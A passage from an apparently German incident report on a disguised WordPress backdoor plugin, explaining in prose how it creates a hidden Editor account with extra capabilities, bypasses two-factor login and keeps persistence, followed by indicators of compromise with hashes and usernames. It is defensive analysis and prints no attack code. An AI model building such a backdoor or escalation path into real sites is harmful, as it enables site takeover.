\u00dcbereinstimmung gleich lange dauert, sodass sich das Token nicht \u00fcber Antwortzeiten erraten l\u00e4sst. Ohne das richtige Token passiert nichts, und die Website verh\u00e4lt sich normal.<\/li>\n<li>Mit dem richtigen Token legt es den Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> an, mit einem im Plugin hinterlegten Passwort, der E-Mail <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> und dem Anzeigenamen \u201eSite Tools\u201c.<\/li>\n<li>Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Es meldet den Besucher als diesen Benutzer \u00fcber <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> mit \u201eAngemeldet bleiben\u201c an, also mit einem 14 Tage g\u00fcltigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence.<\/li>\n<li>Es leitet ihn in den Admin weiter.<\/li>\n<\/ol>\n<p>Die Rolle Editor mit zwei zus\u00e4tzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und f\u00e4llt bei einer \u00fcblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle \u00fcber die Website:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> erlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> \u00f6ffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen gen\u00fcgt, und der Angreifer legt sich einen vollwertigen Admin an.<\/li>\n<li>Ein Editor hat bei einer normalen WordPress-Installation auch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code> und kann damit JavaScript in Beitr\u00e4ge einf\u00fcgen, das im Browser jedes Administrators l\u00e4uft.<\/li>\n<\/ul>\n<p>Die Hintert\u00fcr hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit \u00fcber das normale Anmeldeformular einloggen, sofern f\u00fcr dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.<\/p>\n<h3 id=\"der-fehler-der-uns-gerettet-hat\">Der Fehler, der uns gerettet hat<\/h3>\n<p>Die Konstanten sind mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> als globale Konstanten definiert (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), der Code liest sie aber als Klassenkonstanten (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> den Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Das passiert noch vor der Token-Pr\u00fcfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website f\u00e4llt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.<\/p>\n<p>Die Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, die nach <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbest\u00e4tigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen st\u00fcrzten ab.<\/p>\n<p>Der Angreifer muss nur ein paar Zeichen korrigieren, und die n\u00e4chste Welle kann funktionieren. <strong>Wenn Sie ein \u00e4hnliches \u201ekaputtes\u201c Plugin finden, reparieren Sie es nicht.<\/strong> Eine Reparatur w\u00fcrde die Hintert\u00fcr einschalten. Entfernen Sie es.<\/p>\n<h3 id=\"weitere-details\">Weitere Details<\/h3>\n<ul>\n<li>Das Plugin gibt sich als gew\u00f6hnliche Erweiterung: vollst\u00e4ndiger Header, GPL-Lizenz, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und ein erfundener Herausgeber (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>Die Dateien <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> enthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> l\u00f6scht beim Deinstallieren \u00fcber den Admin die Optionen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code> und damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein \u00dcberbleibsel der Vorlage.<\/li>\n<li>Bei der Aktivierung speichert es das Token in der Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> ohne Autoload. Der Code liest sie nirgends.<\/li>\n<li>Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte f\u00fcr Byte identisch. Der Name folgt dem Muster <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wort-wort-3 Hex-Zeichen<\/code>, der Parameter ist <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> plus 6 Hex-Zeichen, der Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wort-wort<\/code> plus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).<\/li>\n<\/ul>\n<h2 id=\"indikatoren-einer-kompromittierung\">Indikatoren einer Kompromittierung<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Website A<\/th>\n<th>Website B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Plugin-Verzeichnis<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Name \/ Autor \/ Version<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>URL-Parameter<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Benutzer<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Datenbankoption<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 der Hauptdatei<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Weitere Proben der ersten Variante haben uns andere Betroffene geschickt, weitere Namen nennt Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, Autor \u201eCopperForge WP\u201c, Benutzer mit E-Mail <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, Version 2.6.7, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">style-bridge-8f5<\/code>, \u201eStyle Bridge 8F5\u201c 2.6.6, Autor \u201eStoneDock Tools\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_0f907e<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data.build20<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-kit-183<\/code>, \u201eMedia Kit 183\u201c 3.7.8, Autor \u201eAshBridge Digital\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_98a0a7<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_maint88<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query-shelf<\/code>, \u201eQuery Shelf\u201c 2.6.1, derselbe Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">QueryShelf::FIELD<\/code>, Name ohne die drei Hex-Zeichen am Ende<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">post-dock-776<\/code>, \u201ePost Dock 776\u201c 1.7.8, Autor \u201eCommonGantry\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_5fa3f1<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_build55<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>, \u201eNav Hub\u201c 1.0.5, Autor \u201ePixelBinder\u201c (derselbe wie bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code>), Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">NavHub::FIELD<\/code>, Name ohne Hex-Zeichen am Ende<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-desk<\/code>, \u201eSpeed Desk\u201c 3.7.1, Autor \u201eHarbor Stack Labs\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_685679<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.maint85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-kit-300<\/code>, \u201eSpeed Kit 300\u201c 3.8.4, Autor \u201eNordic Toolworks\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_c4bda9<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-team4<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">link-latch<\/code>, \u201eLink Latch\u201c 3.0.2, Autor \u201eCommonGantry\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_b10fa0<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media.crew54<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">script-shelf<\/code>, \u201eScript Shelf\u201c 1.9.2, Autor \u201eCopperForge WP\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_697e00<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">content-crew90<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">feed-case<\/code>, \u201eFeed Case\u201c 1.5.1, Autor \u201eLoftStack\u201c, Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_78d327<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_ops15<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>, \u201eCache Jack C7A\u201c 2.7.3, Autor \u201ePixelBinder\u201c, Parameter <code 